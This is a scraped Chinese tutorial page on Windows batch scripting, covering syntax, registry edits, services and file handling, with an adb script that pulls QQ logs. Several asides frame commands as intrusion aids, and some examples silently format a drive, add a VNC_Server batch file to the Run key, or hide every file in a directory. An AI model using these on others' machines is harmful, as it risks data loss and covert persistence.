1. 程式人生 > >bat 資料夾移動

bat 資料夾移動

 echo off
 echo hello world 
 ::得到當天
 set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%
 :: eg:能得到 秒:set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%
 ::
set pathLog=%pathLog: =0%
::建立資料夾
md "d:\log\log%pathLog%
 echo move over
 pause
 goto begin

資料:

pulllog.bat

::此段程式碼把裝置中/sdcard/tencent/com/tencent/mobileqq 下的所有副檔名為log的文匯出到PC中指定目錄,且以log+當前日期時間為資料夾存放
::注意:此段程式碼會刪除裝置上/sdcard/tencent/com/tencent/mobileqq 所有副檔名為log的檔案


@ECHO OFF
::log匯出到PC上存放的目錄
cd "d:\log"
c:
set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%
set pathLog=%pathLog: =0%
adb pull /sdcard/tencent/com/tencent/mobileqq/ "d:\log\log%pathLog%"  
::刪除裝置上對應資料夾子裡副檔名為log的檔案
adb shell "rm /sdcard/tencent/com/tencent/mobileqq/*.log"
Start "d:\log"

一、基礎語法:
1.批處理檔案是一個“.bat”結尾的文字檔案,這個檔案的每一行都是一條DOS命令。可以使用任何文字檔案編輯工具建立和修改。
2.批處理是一種簡單的程式,可以用 if 和 goto 來控制流程,也可以使用 for 迴圈。
3.批處理的程式設計能力遠不如C語言等程式語言,也十分不規範。
4.每個編寫好的批處理檔案都相當於一個DOS的外部命令,把它所在的目錄放到DOS搜尋路徑(path)中,即可在任意位置執行。
5.C:\AUTOEXEC.BAT 是每次系統啟動時都會自動執行的,可以將每次啟動時都要執行的命令放入該檔案中。
6.大小寫不敏感(命令符忽略大小寫)
7.批處理的副檔名為 .bat 或 .cmd。
8.在命令提示下鍵入批處理檔案的名稱,或者雙擊該批處理檔案,系統就會呼叫Cmd.exe來執行該檔案。


二、引數:
1) 系統引數

複製程式碼 複製程式碼
       %SystemRoot%   ===    C:\WINDOWS    (%windir% 同樣)
       %ProgramFiles% ===    C:\Program Files
       %USERPROFILE%  ===    C:\Documents and Settings\Administrator  (子目錄有“桌面”,“開始選單”,“收藏夾”等)
       %APPDATA%      ===    C:\Documents and Settings\Administrator\Application Data
       %TEMP%         ===    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp  (%TEM% 同樣)
       %APPDATA%      ===    C:\Documents and Settings\Administrator\Application Data
       %OS%           ===    Windows_NT (系統)
       %Path%         ===    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem  (原本的設定)
       %HOMEDRIVE%    ===    C:   (系統盤)
       %HOMEPATH%     ===    \Documents and Settings\Administrator

       :: 列舉當前的環境變數       setlocal enabledelayedexpansion
       FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i    !%%i!
複製程式碼 複製程式碼
    2) 傳遞引數給批處理檔案
      %[1-9]表示引數,引數是指在執行批處理檔案時在檔名後加的以空格(或者Tab)分隔的字串。
變數可以從%0到%9,%0表示批處理命令本身,其它引數字串用 %1 到 %9 順序表示。
複製程式碼
      Sample:
        call test2.bat "hello" "haha" (執行同目錄下的“test2.bat”檔案,並輸入兩個引數)
        在“test2.bat”檔案裡寫:
        echo %1  (列印: "hello")
        echo %2  (列印: "haha")
        echo %0  (列印: test2.bat)
        echo %19 (列印: "hello"9)
複製程式碼
三、批處理基本命令
0. help 命令
  /? 命令
  語法: 命令 /?
  可顯示此命令的幫助資訊
  Sample: type /? >>tmp.txt  (把 type 命令的幫助資訊寫入到tmp.txt檔案裡)
  Sample: help type  (顯示跟“type /?”一樣)
1.Echo 命令
  語法: echo [{on|off}] [message]
  ECHO [ON | OFF]   打開回顯或關閉回顯功能。
  ECHO              顯示當前回顯設定。
  ECHO [message]    顯示資訊。
  echo off 表示在此語句後所有執行的命令都不顯示命令列本身;預設是on,on時會顯示如: C:\資料夾路徑>命令列。
  在實際應用中我們會把這條命令和重定向符號( 也稱為管道符號,一般用 > >> ^ )結合來實現輸入一些命令到特定格式的檔案中。
  Sample: echo off
  Sample: echo hello world  (顯示出“hello world”)
  Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前還沒有 setupreg.reg 這個檔案)
  Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg   (追加內容進 setupreg.reg 這個檔案)
[email protected] 命令
  表示不顯示@後面的命令,(在入侵過程中自然不能讓對方看到你使用的命令啦)
  @ 與 echo off 相象,但它是加在每個命令列的最前面,表示執行時不顯示這一行的命令列(只能影響當前行)。
  Sample: @echo off  (此語句常用於開頭,表示不顯示所有的命令列資訊,包括此句)
  Sample: @echo please wait a minite...
  Sample: @format X: /q/u/autoset
  (format 這個命令是不可以使用/y這個引數的,可喜的是微軟留了個autoset這個引數給我們,效果和/y是一樣的。)

3.Goto 命令
  語法:goto label (label是引數,指定所要轉向的批處理程式中的行。)
  指定跳轉到標籤行,找到標籤行後,程式將處理從下一行開始的命令。
  label標籤的名字可以隨便起,但是最好是有意義的,字母前必須加個冒號“:”來表示這個字母是標籤。
  goto命令就是根據這個冒號來尋找下一步跳到到那裡。經常與 if 配合使用,根據不同的條件來執行不同的命令組。
  例題見“5.Pause 命令”

4.Rem 命令
  語法:Rem Message...
  (小技巧:用::代替rem)
  註釋命令,在C語言中相當與/*...*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和自己日後修改。
  Sample:@Rem Here is the description.
5.Pause 命令
  會暫停批處理的執行並在螢幕上顯示Press any key to continue...的提示,等待使用者按任意鍵後繼續
複製程式碼
  Sample:
   @echo off
   :begin
   copy a:*.* d:\back
   echo Please put a new disk into driver A
   pause
   goto begin
複製程式碼
  在這個例子中,驅動器 A 中磁碟上的所有檔案均複製到d:\back中。
  顯示的資訊提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程式掛起,以便您更換磁碟,然後按任意鍵再次複製。

6.Call 命令
  語法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
  引數: [Drive:][Path] FileName  指定要呼叫的批處理程式的位置和名稱。filename 引數必須具有 .bat 或 .cmd 副檔名。
  呼叫另一個批處理程式,並且不終止父批處理程式。
  如果不用call而直接呼叫別的批處理檔案,那麼執行完那個批處理檔案後將無法返回當前檔案並執行當前檔案的後續命令。
  call 命令接受用作呼叫目標的標籤。如果在指令碼或批處理檔案外使用 Call,它將不會在命令列起作用。
  Sample:call="%cd%\test2.bat" haha kkk aaa    (呼叫指定目錄下的 test2.bat,且輸入3個引數給他)
  Sample:call test2.bat arg1 arg2    (呼叫同目錄下的 test2.bat,且輸入2個引數給他)
  注:可以呼叫自身(死迴圈、遞迴)

7.start 命令
  呼叫外部程式,所有的 DOS命令 和 命令列程式 都可以由 start命令 來呼叫。
  入侵常用引數:
        MIN 開始時視窗最小化
        SEPARATE 在分開的空間內開始 16 位 Windows 程式
        HIGH 在 HIGH 優先順序類別開始應用程式
        REALTIME 在 REALTIME 優先順序類別開始應用程式
        WAIT 啟動應用程式並等候它結束
        parameters 這些為傳送到命令/程式的引數
  Sample:start /MIN test2.bat arg1 arg2    (呼叫同目錄下的 test2.bat,且輸入2個引數給他,且本視窗最小化)
  Sample:e:\"program files"\極品列車時刻表\jpskb.exe  (檔案路徑名有空格時)
8.If 命令
  if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。有三種格式:
  1) IF
     語法: if [not] "引數" == "字串" 待執行的命令
     引數如果等於(not表示不等,下同)指定的字串,則條件成立,執行命令,否則執行下一句。(注意是兩個等號)
   Sample: if "%1" == "a" format a:
   Sample: if {%1} == {} goto noparms
  2) if exist
     語法: if [not] exist [路徑\]檔名 待執行的命令
     如果有指定的檔案,則條件成立,執行命令,否則執行下一句。
     Sample: if exist config.sys edit config.sys   (表示如果存在這檔案,則編輯它,用很難看的系統編輯器)
     Sample: if exist config.sys type config.sys   (表示如果存在這檔案,則顯示它的內容)
  3) if errorlevel number
     語法: if [not] errorlevel <數字> 待執行的命令
     如果程式返回值等於指定的數字,則條件成立,執行命令,否則執行下一句。(返回值必須按照從大到小的順序排列)
     Sample:
       @echo off
       XCOPY F:\test.bat D:\
       IF ERRORLEVEL 1 (ECHO 檔案拷貝失敗
       ) Else IF ERRORLEVEL 0 ECHO 成功拷貝檔案
       pause
     很多DOS程式在執行結束後會返回一個數字值用來表示程式執行的結果(或者狀態),稱為錯誤碼errorlevel或稱返回碼。
     常見的返回碼為0、1。通過if errorlevel命令可以判斷程式的返回值,根據不同的返回值來決定執行不同的命令。
  4) else
     語法: if 條件 (成立時執行的命令) else (不成立時執行的命令)
     如果是多個條件,建議適當使用括號把各條件包起來,以免出錯。
     Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )
     注:如果 else 的語句需要換行,if 執行的行尾需用“^”連線,並且 if 執行的動作需用(括起來),否則報錯
     Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^
             else (echo comment3 )
  5) 比較運算子:
     EQU - 等於   (一般使用“==”)
     NEQ - 不等於 (沒有 “!=”,改用“ if not 1==1 ”的寫法)
     LSS - 小於
     LEQ - 小於或等於
     GTR - 大於
     GEQ - 大於或等於


9.choice 命令
  choice 使用此命令可以讓使用者輸入一個字元(用於選擇),從而根據使用者的選擇返回不同的 errorlevel,
  然後配合 if errorlevel 選擇執行不同的命令。
        注意:choice命令為DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?檢視用法。
  choice 使用此命令可以讓使用者輸入一個字元,從而執行不同的命令。
  使用時應該加/c:引數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
複製程式碼
    Sample:  choice /c:dme defrag,mem,end
    將顯示:  defrag,mem,end[D,M,E]?
    Sample:
    choice /c:dme defrag,mem,end
    if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
    if errorlevel 2 goto mem
    if errotlevel 1 goto end
複製程式碼
10.for 命令
   for 命令是一個比較複雜的命令,主要用於引數在指定的範圍內迴圈執行命令。
   1) for {%variable | %%variable} in (set) do command [command-parameters]
      %variable 指定一個單一字母可替換的引數。變數名稱是區分大小寫的,所以 %i 不同於 %I
      在批處理檔案中使用 FOR 命令時,指定變數建議用 %%variable而不要用 %variable。
      (set) 指定一個或一組檔案。可以使用萬用字元。
      command 指定對每個檔案執行的命令。
      command-parameters 為特定命令指定引數或命令列開關。
   2) 如果命令副檔名被啟用,下列額外的 FOR 命令格式會受到支援:
      a.FOR /D %variable IN (set) DO command [command-parameters]
        如果集裡面包含萬用字元,則指定與目錄名匹配,而不與檔名匹配。
      b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
        檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。
        如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則列舉該目錄樹。
      c.FOR /L %variable IN (start,step,end) DO command [command-parameters]
        該集表示以增量形式從開始到結束的一個數字序列。
        如:(1,1,5) 將產生序列 1 2 3 4 5;  而(5,-1,1) 將產生序列 (5 4 3 2 1)。
      d.有或者沒有 usebackq 選項:
        FOR /F ["options"] %variable IN (file-set) DO command
        FOR /F ["options"] %variable IN ("string") DO command
        FOR /F ["options"] %variable IN (command)  DO command
    引數"options"為:
        eol=c           - 指一個行註釋字元的結尾(就一個,如“;”)
        skip=n          - 指在檔案開始時忽略的行數。
        delims=xxx      - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。
        tokens=x,y,m-n  - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的分配。
                          m-n格式為一個範圍。通過 nth 符號指定 mth。
              如果符號字串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。
        usebackq        - 指定新語法已在下類情況中使用:
                          在作為命令執行一個後引號的字串並且一個單引號字元為文字字串命令並允許在 filenameset中使用雙引號擴起檔名稱。
   3) Sample:
      1. 如下命令列會顯示當前目錄下所有以bat或者txt為副檔名的檔名。
         for %%c in (*.bat *.txt) do (echo %%c)
      a. 如下命令列會顯示當前目錄下所有包含有 e 或者 i 的目錄名。
         for /D %%a in (*e* *i*) do echo %%a
      b. 如下命令列會顯示 E盤test目錄 下所有以bat或者txt為副檔名的檔名。
         for /R E:\test %%b in (*.txt *.bat) do echo %%b
         for /r %%c in (*) do (echo %%c)  :: 遍歷當前目錄下所有檔案
      c. 如下命令列將產生序列 1 2 3 4 5
         for /L %%c in (1,1,5) do echo %%c
      d. 以下兩句,顯示當前的年月日和時間
         For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日
         For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j時%%k分
      e. 把記事本中的內容每一行前面去掉8個字元
         setlocal enabledelayedexpansion
         for /f %%i in (zhidian.txt) do (
	   set atmp=%%i
	   set atmp=!atmp:~8!
           if {!atmp!}=={} ( echo.) else echo !atmp!
         )
         :: 讀取記事本里的內容(使用 delims 是為了把一行顯示全,否則會以空格為分隔符)
         for /f "delims=" %%a in (zhidian.txt) do echo.%%a
   4) continue 和 break
      利用 goto 實現程式中常用的 continue 和 break 命令, 其實非常簡單
      continue: 在 for 迴圈的最後一行寫上一個標籤,跳轉到這位置即可
      break: 在 for 迴圈的外面的下一句寫上一個標籤,跳轉到這位置即可
      Sample: (虛擬碼)
        for /F ["options"] %variable IN (command)  DO (
        ... do command ...
        if ... goto continue
        if ... goto break
        ... do command ...
        :continue
        )
        :break


四、其它命令
1. ping 命令
   測試網路聯接狀況以及資訊包傳送和接收狀況。但是不能夠測試埠。
   語法:ping IP地址或主機名 [-t] [-a] [-n count] [-l size]
    引數含義:
    -t 不停地向目標主機發送資料;
    -a 以IP地址格式來顯示目標主機的網路地址;
    -n count 指定要Ping多少次,具體次數由count來指定;
    -l size 指定傳送到目標主機的資料包的大小。
  Sample: ping 192.168.0.1 -t (不停的測試192.168.0.1,按ctrl+c停止)
  Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下所有的區域網電腦)
2. telnet 命令
   測試埠使用 telnet IP地址或主機名 埠,使用tcp協議的
   Sample:  telnet 192.168.0.1 80 (測試192.168.0.1的80埠)
3.color 命令
   設定背景及字型顏色
   語法: color bf
   b 是指定背景色的十六進位制數字; f 指定前景顏色(即字型顏色)。
   顏色值:     0:黑色    1:藍色    2:綠色    3:湖藍    4:紅色    5:紫色    6:黃色    7:白色
               8:灰色    9:淡藍    A:淡綠    B:淺綠    C:淡紅    D:淡紫    E:淡黃    F:亮白
   如果沒有給定任何引數,該命令會將顏色還原到 CMD.EXE 啟動時的顏色。
   如果兩引數一樣,視為無效輸入。只有一個引數時,設定字型。

4. random 命令
   產生隨機數(正整數0~)

5. exit 命令
   結束程式。即時是被呼叫的程式,結束後也不會返回原程式

6. shutdown命令
   shutdown -s 關機


10. 所有內建命令的幫助資訊
  ver /?
  cmd /?
  set /?
  rem /?
  if /?
  echo /?
  goto /?
  for /?
  shift /?
  call /?
  其他需要的常用命令
  type /?
  find /?
  findstr /?
  copy /?


五、字串處理
    1) 分割字串,以檢視時間為例
       %源字串:~起始值,擷取長度%  (起始值從0開始;擷取長度是可選的,如果省略逗號和擷取長度,將會從起始值擷取到結尾;
       擷取長度如果是負數,表示擷取到倒數第幾個。)
      "%time%"      顯示如:"11:04:23.03" (完整的時間"hh:mm:ss.tt")
      "%time:~0,5%" 顯示"hh:mm"(即"11:04"),其中0表示從右向左移位操作的個數,5表示從左向右移位操作的個數
      "%time:~0,8%" 顯示標準時間格式"hh:mm:ss"(即"11:04:23",前8個字串)
      "%time:~3,-3%"顯示"mm:ss"(即從第4個開始,截去最後3個的字串)
      "%time:~3%"   顯示"04:23.03"(即去掉前4個字串)
      "%time:~-3%"  顯示".tt"(即最後3個字串)
      上面的字串分割格式,也可以用於其它地方,如目錄路徑:"%cd:~0,10%"
    2) 替換字串
       set a="abcd1234"
       echo %a%          顯示:"abcd1234"
       set a=%a:1=kk%    替換“1”為“kk”
       echo %a%          顯示:"abcdkk234"
    3) 字串合併
       由於沒有直接的字串合併函式,只能用笨方法了。
       set str1=%str1%%str2%    (合併 str1 和 str2)
    4) 計算字串長度
複製程式碼
     沒有現成的函式。如下程式利用 goto形成迴圈,不斷將字串截短1,並記錄截短的次數,到字串變成空時的次數即長度。
       set testStr=This is a test string
       :: 將 testStr 複製到str,str 是個臨時字串       set str=%testStr%
       :: 標籤,用於goto跳轉       :next1
       :: 判斷str是不是空,如果不是則執行下邊的語句       if not "%str%"=="" (
       :: 算術運算,使num的值自增1,相當於num++或者++num語句       set /a num+=1
       :: 擷取字串,每次截短1       set "str=%str:~1%"
       :: 跳轉到next1標籤: 這裡利用goto和標籤,構成迴圈結構       goto next1
       )
       :: 當以上迴圈結構執行完畢時,會執行下邊的語句       echo testStr=%testStr%
       echo testStr的長度為:%num%
複製程式碼
    5) 擷取字串時,需要傳遞引數
       直接 echo %args:~%num%,-5% 沒辦法想要的字串,需要如下兩步
       setlocal enabledelayedexpansion
       echo !args:~%num%,-5!
六、登錄檔操作
    1) 備份登錄檔,將[HKEY_LOCAL_MACHINE ... Run]的內容,備份到“c:\windows\1.reg”
       reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg
       reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg
    2) 修改/添加註冊表內容
       a.一般的新增或修改
       reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f
         上句解析:“HKCU”是“HKEY_CURRENT_USER”的縮寫,不用縮寫用全稱也可以;
         新增名稱為“Java_Home”的變數;型別為“reg_sz”,另一種常見型別是“reg_dword”;值為 D:\Java\jdk1.6.0_07;
       b.使用變數
         set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java
         reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f
       c.如果登錄檔的名稱有空格,或者資料用特殊符號時
       reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f
         傳入值為(值用雙引號括起來的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"
         reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f
         傳入值為(“\”結尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\
       d.增加空的內容
         reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
       e.新增或修改預設值
         reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f
     這裡用“/ve”來代替一般修改時的“/v 變數名”,即可修改預設值了
    3) 刪除登錄檔的內容
      雙引號裡面的是登錄檔的目錄,下面兩句將刪除這目錄下的所有資訊
      reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f
      reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f
      雙引號裡面的是登錄檔的目錄,下面一句將刪除這目錄下指定的某個資訊
      reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f
    4) 登錄檔的常用位置
       a.系統啟動項:
         [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
         [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
     example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f
       b.系統環境變數:
         [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
       c.當前使用者的環境變數:
         [HKEY_CURRENT_USER\Environment]
    5) 修改登錄檔之後,結束並重新載入explorer.exe程序,可重新整理登錄檔,令其生效
       taskkill /f /im explorer.exe >nul
       start "" "explorer.exe"
七、系統服務
    1) 停止服務:NET STOP 服務名
       啟動服務:NET Start 服務名
    2) 設定啟動型別
       自動:  SC CONFIG 服務名 START= auto
       手動:  SC CONFIG 服務名 START= demand
       已禁用:SC CONFIG 服務名 START= disabled
       附:“START= ”等號後面必須要有一個空格。(start還有boot,system兩個值)
       Sample:  SC CONFIG Spooler START= demand (印表機載入項,設定成手動,預設自動)
    3) 檢視系統服務:start %SystemRoot%\system32\services.msc /s

八、setlocal與變數延遲
  0) 在沒有開啟變數延遲的情況下,某條命令列中的變數改變,必須到下一條命令才能體現。
     另外例如for命令等,其後用一對圓括號閉合的所有語句也當作一行。
     example:
       set a=4
       set a=5 & echo %a%
     結果:4
     也可以對這種機制加以利用,如下的變數交換
     example:
       set var1=abc
       set var2=123
       echo 交換前: var1=%var1% var2=%var2%
       set var1=%var2%& set var2=%var1%
       echo 交換後: var1=%var1% var2=%var2%
  1) 啟動批處理檔案中環境變數的本地化。本地化將持續到出現匹配的 endlocal 命令或者到達批處理檔案結尾為止。
    語法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}
    enableextension: 啟用命令擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。
    disableextensions: 禁用命令擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。
    enabledelayedexpansion: 啟用延遲的環境變數擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。
    disabledelayedexpansion: 禁用延遲的環境變數擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。

  2) 為了能夠感知環境變數的動態變化,批處理設計了變數延遲。簡單來說,在讀取了一條完整的語句之後,不立即對該行的變數賦值,而會在某個單條語句執行之前再進行賦值,也就是說“延遲”了對變數的賦值。
  examle:
    setlocal enabledelayedexpansion
    set a=4
    set a=5 & echo !a!
  結果: 5
  變數延遲的啟動語句是“setlocal enabledelayedexpansion”,並且變數要用一對歎號“!!”括起來
  由於啟動了變數延遲,所以批處理能夠感知到動態變化,即不是先給該行變數賦值,而是在執行過程中給變數賦值,因此此時a的值就是5了
  另外,啟動變數延遲,“%”的變數還是不變
  example2:
    setlocal enabledelayedexpansion
    for /l %%i in (1,1,5) do (
    set a=%%i
    echo !a!
    )
  結果,列印從1到5;如果不變數延遲,一個變數也沒有列印


九、檔案處理
  1.刪除
    1) 刪除一個檔案或多個檔案
       del /s /q /f d:\test\a.bat
       將直接刪除d:\test\a.bat,沒有任務提示
       del temp\* /q /f /s
       將直接刪除 本目錄的 temp 目錄的所有檔案,沒有任務提示
       刪除檔案的時候可以使用“*”作萬用字元
    2) 刪除一個空目錄
       rd /q /s  d:\test\log
       將直接刪除d:\test\log目錄,如果log目錄裡面有檔案將無法刪除
    3) 刪除一個非空目錄 (必須指定目錄名稱)
       rmdir /q /s d:\test\logs
       必須指定目錄名稱,不能使用萬用字元
       /S  除目錄本身外,還將刪除指定目錄下的所有子目錄
       /Q  安靜模式,帶 /S 刪除目錄樹時不要求確認
       無論裡面是否有檔案或資料夾將全部直接刪除
  2.建立目錄
    MKDIR [drive:]path
    MD [drive:]path
    路徑有空格時,可以用雙引號括起來,也可以用 &nbsp; 替代








實踐部分:
======================================================================

一、小摘錄:
    1. 呼叫其他程式時,對檔案的大小寫不敏感,檔案字尾也可忽略
       如:start LeapFTP.exe  與 start leapftp 效果一樣,都是執行“LeapFTP.exe”檔案
       每行的開頭的字串會自動查詢程式來執行,還可用雙引號引起來(檔名或目錄名含空格時必須用)
       如:"D:\Program Files\Leap FTP.exe"
       "LeapFTP.exe" 可正常執行檔案,start "" "LeapFTP.exe" 也可以正常執行檔案(注意,第一個引數是視窗顯示的標題)
    3. copy C:\test\*.* D:\back  (複製C盤test資料夾的所有檔案(不包括資料夾及子資料夾裡的東西)到D盤的back資料夾)
    4. dir c:\*.* > a.txt (將c盤檔案列表寫入 a.txt 中)
    5.  > 生成檔案並寫入內容(如果有這檔案則覆蓋),  >> 檔案裡追加內容
    6. md d:\aa (建立資料夾)
    7. 在命令末尾加上“>NUL 2>NUL”,表示隱蔽返回資訊。
    8. 等待使用者輸入: set /p 變數名=螢幕顯示資訊。  Sample:set /p pass=請輸入密碼:
    9. 讓使用者按回車退出
       小技巧(替代pause),檔案的最後一句:set /p tmp=操作結束,請按回車鍵退出...
    10.設定標題: title JDK安裝
    11.設定螢幕顯示顏色,如綠色: color 0a
    12.清屏: cls
    13.檢視自己的IP:
       for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
       echo %ip% (這時的 %ip% 就是自己的IP地址)

    14. 修改檔案的更新日期
        copy 檔名+,,>nul  (修改為當前時間,如果要修改為指定時間,先修改系統時間,再改回系統時間)
    15. 修改檔案的字尾名
        ren C:\test\*.jpg *.JPG
	for /r %%c in (*.jpg) do (ren %%c *.JPG)  :: 修改當前目錄下的所有檔案的字尾名,包括子目錄的
    16. 修改檔案的檔名
        rename test.jpg test2.JPG
        rename *.jpg *.888.JPG
    17. 檢視DNS、IP、Mac等
        1) Win98: winipcfg
        2) Win2000以上: Ipconfig /all
        3) NSLOOKUP
    18.檢視IP上的共享資源,就可以
        net view 192.168.10.8
    19.共享
        A.檢視你機器的共享資源: net share
        B.手工刪除共享
          net share 共享資源名稱$ /d
          注意$後有空格。
        C.增加一個共享:
          net share mymovie=e:\downloads\movie /users:3
          mymovie 共享成功。 同時限制連結使用者數為3人。
    20.開啟某網站
          start iexplore.exe http://www.baidu.com


二、例項:
    1. 生成 reg 檔案,執行它,再刪除它
        echo "更改windows安裝檔案的路徑"
        echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
        echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg
        echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
        echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
        :: 寫入登錄檔
        regedit /S c:\setupreg.reg
        :: 刪除登錄檔檔案
        del c:\setupreg.reg

    2.呼叫了exe檔案,結束後沒有關閉,解決方式
       用start命令執行檔案,如:
       start LeapFTP.exe 192.168.0.100

    3.設定系統環境變數
      :: 有這個環境變數,則不需再設定,直接結束
      if not "%JAVA_HOME%" == "" exit
      :: 設定環境變數的地址
      set inputJavaHome=%cd%\jdk1.6.0_07
      :: 設定環境變數,也可以設定當前使用者的變數
      set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
      echo 正在設定環境變數,請稍候......
      reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f
      reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f
      reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]
      :: 重新整理,令環境變數生效
      taskkill /f /im explorer.exe >nul
      start "" "explorer.exe"

    4.隱藏某目錄的所有檔案及資料夾
      cd /d 要隱藏的目錄(如:D:)
      for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)

    5.在批處理中使用密碼。密碼為admin,輸入正確,跳轉到next1 ,若輸入密碼錯誤3次,則鎖屏。。
      @echo off
      set num=0
      :11
      set /p pass=請輸入密碼:
      if "%pass%"=="admin" goto next1
      set /a num=%num% + 1
      if %num%==3 goto no1
      goto 11
      :no1
      %windir%\system32\rundll32.exe user32.dll,LockWorkStation
      goto 11
      :next1
      echo 密碼正確,執行下面的程式
      pause

    6.清空回收站(未成功)
      @echo off
      del /f /s /q c:\recycler\*.*
      ::重新整理螢幕
      taskkill /f /im explorer.exe >nul
      start "" "explorer.exe"

    7.讓系統斷斷續續地鳴叫
      @echo off
      :begin
      :: 發出鳴叫(“”實際就是ASCII碼值為7的特殊字元(蜂鳴鍵beep)
      echo 
      :: 讓程式暫停一小陣子
      ping -n 1 -l 1 127.1>nul
      goto :begin

    8.將 FAT 卷轉換成 NTFS
       利用“CONVERT.exe”進行,解析如下:
        CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]
          volume      指定驅動器號(後面跟一個冒號)、裝載點或卷名。
          /FS:NTFS    指定要被轉換成 NTFS 的卷。
          /V          指定 Convert 應該用詳述模式執行。
          /CvtArea:filename
                      將根目錄中的一個接續檔案指定為NTFS 系統檔案的佔位符。
          /NoSecurity 指定每個人都可以訪問轉換的檔案和目錄的安全設定。
          /X          如果必要,先強行解除安裝卷。該卷的所有開啟的控制代碼則無效。

        程式如下:
        @ ECHO OFF
        @ ECHO.
        @ ECHO.                               說   明
        @ ECHO --------------------------------------------------------------------------
        @ ECHO NTFS是一種磁碟格式。該格式能存放大於4G的單個檔案(如高清電影檔案),並可對
        @ ECHO 資料夾進行加密,但有個缺點是DOS下無法訪問。建議D盤及其後的盤使用NTFS格式,
        @ ECHO C盤如非必要可以不轉換,FAT32與NTFS這兩種格式的讀寫速度幾乎是沒有差別的。
        @ ECHO --------------------------------------------------------------------------
        @ ECHO.
        convert c: /fs:ntfs
        :: D盤也轉成 NTFS
        convert d: /fs:ntfs

    9. 獲取我的文件
        SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
        FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"
        :: 複製檔案到我的文件
        XCOPY /D /E /R /Y /C  "%cd%\test.txt" "%myDoc%\test\"








==========================================
例項:
        3.IF-ERRORLEVEL
      @ECHO OFF
